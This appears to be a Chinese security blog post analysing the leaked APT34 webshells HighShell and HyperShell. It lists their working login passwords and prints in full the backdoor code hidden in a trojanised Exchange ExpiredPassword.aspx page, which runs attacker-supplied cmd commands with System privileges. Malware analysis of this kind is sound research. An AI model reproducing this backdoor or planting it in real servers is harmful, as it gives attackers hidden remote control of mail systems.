对 APT34 泄露工具的分析——HighShell 和 HyperShell
0x00 前言
最近 APT34 的 6 款工具被泄露,本文作为分析文章的第二篇,仅在技术角度对其中的 HighShell 和 HyperShell 进行分析
参考资料:https://malware-research.org/apt34-hacking-tools-leak/amp/
0x01 简介
本文将要介绍以下内容:
- 对 HighShell 的分析
- 对 HyperShell 的分析
- 小结
0x02 对 HighShell 的分析
对应泄露文件的名称为 Webshells_and_Panel 中的 HighShell
其中的文件为 HighShell.aspx,是针对 Windows 服务器的 webshell
默认访问页面如下图
Login 框为红色,需要输入连接口令
正确的口令为 Th!sN0tF0rFAN
输入正确的口令后,点击 Do it,刷新页面,成功登录,如下图
Login 框变为绿色
HighShell 同 paloaltonetworks 在文中提到的 TwoFace 的页面相同
0x03 对 HyperShell 的分析
对应泄露文件的名称为 Webshells_and_Panel 中的 HyperShell
下面包含 7 个文件夹:
- ExpiredPasswordTech
- HyperShell
- Image
- Libraries
- packages
- ShellLocal
- StableVersion
1.ExpiredPasswordTech
包括 3 个文件:
- error4.aspx,功能与 HighShell.aspx 相同,但登录口令未知
- ExpiredPassword.aspx,适用于 Exchange 的 webshell
- MyMaster.aspx,生成字符串:
NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a
2.HyperShell
包含多个文件,是各个 webshell 的源码文件
其中包含另一个可用的 webshell,相对路径: .\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx
连接口令: MkRg5dm8MOk
如下图
3.Image
图片文件夹
4.Libraries
包含多个依赖文件
5.packages
包含多个依赖文件
6. ShellLocal
空文件夹
7. StableVersion
稳定版本,包含多个 webshell
(1)ExpiredPassword.aspx
适用于 Exchange 的 webshell
相对路径: .\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech
与相对路径 .\Webshells_and_Panel\HyperShell\ExpiredPasswordTech
下的文件内容相同
ExpiredPassword.aspx 是 Exchange 正常的功能,对应重置用户口令的页面,如下图
访问的 URL: https://<domain>/owa/auth/ExpiredPassword.aspx
对应 Windows 绝对路径: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx
该路径下的 webshell 默认权限为 System
我的测试系统安装了 Exchange2013,正常的 ExpiredPassword.aspx 源码我已经上传至 github:
..//test/master/ExpiredPassword.aspx(2013)
HyperShell 中的 ExpiredPassword.aspx 是一个添加了后门代码的文件,同我测试环境的正常 ExpiredPassword.aspx 文件相比有多处不同,如下图
经过分析发现有可能是 Exchange 版本差异导致的,忽略版本差异,HyperShell 中的 ExpiredPassword.aspx 主要添加了如下代码:
<%
try{
if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "reDGEa@#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo i = p.StartInfo;
i.FileName = "cmd";
i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));
i.UseShellExecute = false;
i.CreateNoWindow = true;
i.RedirectStandardOutput = true;
p.Start();
string r = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");
Response.End();
}}catch{}
%>
对应到我的测试环境,也就是 Exchange2013,添加 payload 后并去掉验证环节的代码已上传至 github:
..//test/master/ExpiredPassword.aspx(2013)(HyperShell)
Confirm new password
项为传入要执行的命令,权限为 System
(2)HighShellLocal
功能强大的 webshell
相对路径: .\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar
解压到当前目录,相对路径为 .\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal
,包括以下文件:
- 文件夹 css
- 文件夹 files
- 文件夹 js
- HighShellLocal.aspx
实际使用时,还需要 .\ShellLocal-v8.8.5\ShellLocal-v8.8.5\
下的 bin 文件夹,否则提示无法使用 Json
完整结构如下:
│ HighShellLocal.aspx
│
├───bin
│ Newtonsoft.Json.dll
│
├───css
│ │ main.css
│ │
│ └───img
│ box-zipper.png
│ download-cloud.png
│ exclamation-diamond.png
│ heart-break.png
│ heart-empty.png
│ heart.png
│ minus-button.png
│
├───files
│ 7za.exe
│ nbt.exe
│ rx.exe
│
└───js
│ explorer.js
│ main.js
│ send.js
│ utility.js
│
├───components
│
├───jquery
│
└───semantic
登录口令: Th!sN0tF0rFAN
登录页面如下图
输入正确的登录口令后,如下图
可以看到该 webshell 支持多个功能
0x04 小结
本文对泄露文件中的 HighShell 和 HyperShell 进行了分析,其中 HyperShell 中的 ExpiredPassword.aspx 是一个比较隐蔽的 webshell,目前为止我还未在公开资料中找到这种利用方法。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论